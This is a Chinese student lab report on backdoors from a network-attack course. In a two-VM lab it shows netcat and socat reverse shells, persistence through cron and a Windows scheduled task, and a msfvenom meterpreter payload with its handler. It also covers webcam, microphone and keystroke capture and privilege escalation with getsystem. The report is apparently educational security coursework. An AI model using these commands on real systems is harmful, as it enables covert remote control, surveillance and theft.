2018-2019-2 网络对抗技术 20165230 Exp2 后门原理与实践
1.实验内容
- 使用netcat获取主机操作Shell,cron启动
- 使用socat获取主机操作Shell, 任务计划启动
- 使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
2.基础问题回答
1.例举你能想到的一个后门进入到你系统中的可能方式?
- 捆绑在下载的软件中
- 邮箱附件、网站链接
- 注入在可执行文件里
- 注入在office文件的宏里面
2.例举你知道的后门如何启动起来(win及linux)的方式?
- 更改名字伪装成其他程序,一点击即启动
- Linux可以通过cron启动
- Windows下通过任务计划、开机自启动、修改注册表项来启动后门程序
3.Meterpreter有哪些给你映像深刻的功能?
- 获取摄像头权限进行拍照、录像
- 获取麦克风权限进行录音
- 获取键盘输入
- 提升用户权限
4.如何发现自己有系统有没有被安装后门?
- 安装杀毒软件并进行扫描
- 观察进程以及端口,看看有没有异常开放的端口
- 查看开机自启动向、注册表项中有无异常
3.常用后门工具实践
3.1netcat
Windows获得Linux Shell
Windows:使用
ipconfig指令查看本机IP:192.168.19.128

使用ncat.exe程序监听本机的
5230端口:ncat.exe -l -p 5230Kali:使用nc指令的-e选项反向连接Windows主机的5230端口:
ncat 192.168.19.128 5230 -e /bin/shWindows下成功运行Kali的shell,运行ls指令如下:

Linux获得Windows Shell
Kali:
ifconfig查看IP:
192.168.19.129

Kali使用nc指令监听5230端口:
nc -l -p 5230Windows:使用ncat.exe程序的
-e选项项反向连接Kali主机的5230端口:ncat.exe -e cmd.exe 192.168.19.128 5230Kali:运行Windows的cmd shell 并输入命令执行:

使用nc传输数据
Windows下监听
5230端口:ncat.exe -l 5230Kali下连接到Windows的```5230``端口:
nc 192.168.19.128 5230建立之后进行文字传输,后面会说道用来传输后门:


使用nc传输文件
Windows下监听
5230端口,把收到的数据保存到file1.out中:ncat.exe -l 5230 > file1.outKali下先创建file1.in文件,再反弹连接到Windows的```5230``端口:
nc 192.168.19.128 5230 < file1.in传输成功

3.2Meterpreter
- 后门就是一个程序。
- 传统的理解是:有人编写一个后门程序,大家拿来用。
- 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的基本功能(基本的连接、执行指令),
- 扩展功能(如搜集用户信息、安装服务等功能),
- 编码模式,
- 运行平台,
- 以及运行参数
- 全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。
- 典型的平台就包括有:
- intersect
- Metaspolit的msfvenom指令
- Veil-evasion
- 参数说明
-p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e 使用的编码器,用于对shellcode变形,为了免杀。
-i 编码器的迭代次数。如上即使用该编码器编码5次。
-b badchar是payload中需要去除的字符。
LHOST 是反弹回连的IP
LPORT 是回连的端口
-f 生成文件的类型
> 输出到哪个文件
3.3socat
- socat是ncat的增强版,
- 它使用的格式是
socat [options] <address> <address>,其中两个address是必选项,而options是可选项。 - socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数
address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
4.实验过程
任务一:使用netcat获取主机操作Shell,cron启动
先在
Windows系统下,监听```5230``端口:

在Kali环境下,使用
man cron指令查看crontab命令的帮助文档:

crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于
crontab文件中,以供之后读取和执行。用
crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行:

在最后一行添加
37 * * * * /bin/netcat 192.168.19.129 5230 -e /bin/sh,意思是在每个小时的第37分钟反向连接Windows主机的5230端口,设置成37的原因是我当时的时间是17:36(这样过一会就能看到连接效果了)当时间到了17:37时,此时已经获得了Kali的shell,可以输入指令

任务二:使用socat获取主机操作Shell, 任务计划启动
在Windows系统下,打开控制面板下搜索任务计划就可以开始创建任务

点击
触发器选项卡,选择新建,然后将开始任务设置为工作站锁定时

点击
常规选项卡,输入名称(学号):

在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写
tcp-listen:5230 exec:cmd.exe,pty,stderr(两个参数之间用空格或者;),这个命令的作用是把cmd.exe绑定到端口5230,同时把cmd.exe的stderr重定向到stdout上:

创建完成之后,可以
windows+L锁定计算机让它执行。

此时,在Kali环境下输入指令
socat - tcp:192.168.19.129:5230,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5230端口,此时可以发现已经成功获得了一个cmd shell:

任务三: 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
在kali中输入指令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.19.129 LPORT=5230 -f exe > 20155230_backdoor.exe注意这里的IP地址为控制端IP,即LinuxIP,生成后门程序:

在Windows下执行
ncat.exe -l 5230 > 20165230_backdoor.exe,这样被控主机就进入了接收文件模式

在kali中通过
nc 192.168.19.128 5230 < 20165230_backdoor.exe将生成的后门程序传送到Windows主机上.注意这里的IP为被控主机IP,即WindowsIP传送接收文件成功
在Kali上使用
msfconsole指令进入msf控制台,

使用监听模块,设置payload,设置反弹回连的IP和端口:

use exploit/multi/handler 使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.19.129,这里用的是LinuxIP,和生成后门程序时指定的IP相同
set LPORT 5230,同样要使用相同的端口
设置完成后,执行监听
exploit:

双击打开Windows上的后门程序
此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell:

任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
使用
record_mic指令截获一段音频:

使用
webcam_snap指令可以使用摄像头进行拍照:

使用
webcam stream指令可以使用摄像头进行录像:使用
screenshot指令可以进行截屏:

在kali中使用
keyscan_start指令开始,在windows中记录下击键的过程,使用keyscan_dump指令读取击键的记录:

先使用
getuid指令查看当前用户,使用getsystem指令进行提权,如图所示,提权成功:

5.实验遇到的问题
做实验的两台虚拟机之间不能互相ping通,提示network is unreachable

解决方法:将两台虚拟机都关机,然后将网络配置为NAT模式,注意!不能挂起进行配置!否则将不成功!!实验中kali虚拟机和windows虚拟机是在NAT网络下实现交互的,
有点奇怪的是kali虚拟机在NAT网络模式下没法上网,只有把改为桥接模式才行,
而windows虚拟机在桥接模式下又不能上网了,这就很气人了。
virtualbox的网络地址转换NAT模式和NAT网络模式是两个不同的模式,
诡异的是在NAT模式下,kali虚拟机和windows虚拟机自动分配的地址都是一样的,手工配置IP地址还是会有问题,ping肯定是ping不通的。
最后还是用的NAT网络模式,两个虚拟机的IP地址会不一样。
kali虚拟机没法上网无所谓了,只要能跟windows虚拟机连上就行了,两个计算机的文件传输用netcat实现。在进行
webcam_snap时提示错误解决方法:windows系统里没有摄像头设备,那我们就把摄像头的USB连接切到win7上面来,因为摄像头这种USB设备不可能虚拟机和本机一起使用。在虚拟机->可移动设备->最后一个选项里选择连接主机即可解决


6.实验总结与体会
- 这次实验研究的是后门的原理和应用,操作起来并不是很复杂,主要是三个步骤:
1. 生成后门程序2. 将后门植入到受害者的计算机中3. 运行后门程序 - 做实验的过程中小问题一直频发,而且最后摄像头还是调用不了,不过好多问题都解决了,很有成就感。有很多实验结果非常有意思,尤其是 meterpreter的应用。我真切的感受到现在的互联网环境之恶劣,以后也应该更加注意保密意识。
2018-2019-2 网络对抗技术 20165230 Exp2 后门原理与实践的更多相关文章
- 2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165325 Exp2 后门原理与实践 实验内容(概要): (1)使用netcat获取主机Shell,cron启动 首先两个电脑(虚拟机)都得有netcat, ...
- 2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165232 Exp2 后门原理与实践 1. 后门原理与实践实验说明及预备知识 一.实验说明 任务一:使用netcat获取主机操作Shell,cron启动 ( ...
- 2018-2019-2 20165237《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165237<网络对抗技术>Exp2 后门原理与实践 一.实践目标 使用netcat获取主机操作Shell,cron启动 使用socat获取主机操作Shell, ...
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp2 后门原理与实践 - 实验任务 (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用socat获取主 ...
- 2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165323 Exp2 后门原理与实践 一.实验要求 (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (0.5分) (2)使用soc ...
- 2018-2019-2 20165235《网络对抗技术》Exp2 后门原理与实践
2018-2019-2 20165235<网络对抗技术>Exp2 后门原理与实践 实验内容 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shel ...
- 2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165311 Exp2 后门原理与实践 后门的基本概念 常用后门工具 netcat Win获得Linux Shell Linux获得Win Shell Met ...
- 2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165317 Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 下载免费应用的时候会有绑定木马. 浏览某些网页时会有内 ...
- 2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践
2018-2019-2 网络对抗技术 20165336 Exp2 后门原理与实践 1.基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 下载自己不熟悉的软件时含有病毒. 网络钓鱼, ...
随机推荐
- BZOJ3294 CQOI2011放棋子(动态规划)
可以看做棋子放在某个位置后该种颜色就占领了那一行一列.行列间彼此没有区别. 于是可以设f[i][j][k]表示前k种棋子占领了i行j列的方案数.转移时枚举第k种棋子占领几行几列.注意行列间是有序的,要 ...
- hud 1312
There is a rectangular room, covered with square tiles. Each tile is colored either red or black. A ...
- bzoj4336 骑士的旅行 (树链剖分+multiset)
首先大概有一个树剖+树套树的做法,但我哪会写啊 然后发现k很小,如果用线段树记每个区间前k大的的话,可以O(k)地合并 而且一个点还有可能有好多个骑士,所以要用multiset维护一下 然后树剖就好啦 ...
- Elasticsearch利用cat api快速查看集群状态、内存、磁盘使用情况
使用场景 当Elasticsearch集群中有节点挂掉,我们可以去查看集群的日志信息查找错误,不过在查找错误日志之前,我们可以通过elasticsearch的cat api简单判断下各个节点的状态,包 ...
- [IOI2018] seats 排座位
[IOI2018] seats 排座位 IOI2018题解 压缩状态思想很不错的 每次把原来的贡献减掉,新来的再加上 最多涉及10个点 注意: 1.去重 2.下标从0开始 3.线段树初始的最小值个数都 ...
- Red Hat 6.3安装gcc gc++
首先安装gcc需要相应的rpm依赖包,在安装系统的镜像文件中就有这些rpm包 首先在光驱中选择系统的安装包载入 如果桌面显示有如下的光驱 说明是已经载入了镜像,这时候,需要挂载一下镜像到mnt目录 先 ...
- 【洛谷P1018】乘积最大 dp+高精度
题目大意:给定一个 N 个数组成的串,可以在串中插入 M 个乘号,求乘积最大是多少.N <= 40 阶段:前 i 个数用了 j 个乘号. 仅用阶段可以表示出一个状态,因此状态转移方程为 \(dp ...
- javascript面向对象精要第五章继承整理精要
javascript中使用原型链支持继承,当一个对象的[prototype]设置为另一个对象时, 就在这两个对象之间创建了一条原型对象链.如果要创建一个继承自其它对象的对象, 使用Object.cre ...
- A*算法(附c源码)
关于A*算法网上介绍的有很多,我只是看了之后对这个算法用c写了一下,并测试无误后上传以分享一下,欢迎指正!下面是我找的一个介绍,并主要根据这个实现的. 寻路算法不止 A* 这一种, 还有递归, 非递归 ...
- Scala进阶之路-正则表达式案例
Scala进阶之路-正则表达式案例 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 废话不多说,正则大家都很清楚,那在Scala如何使用正则了?我们直接上个案例,如下: /* @au ...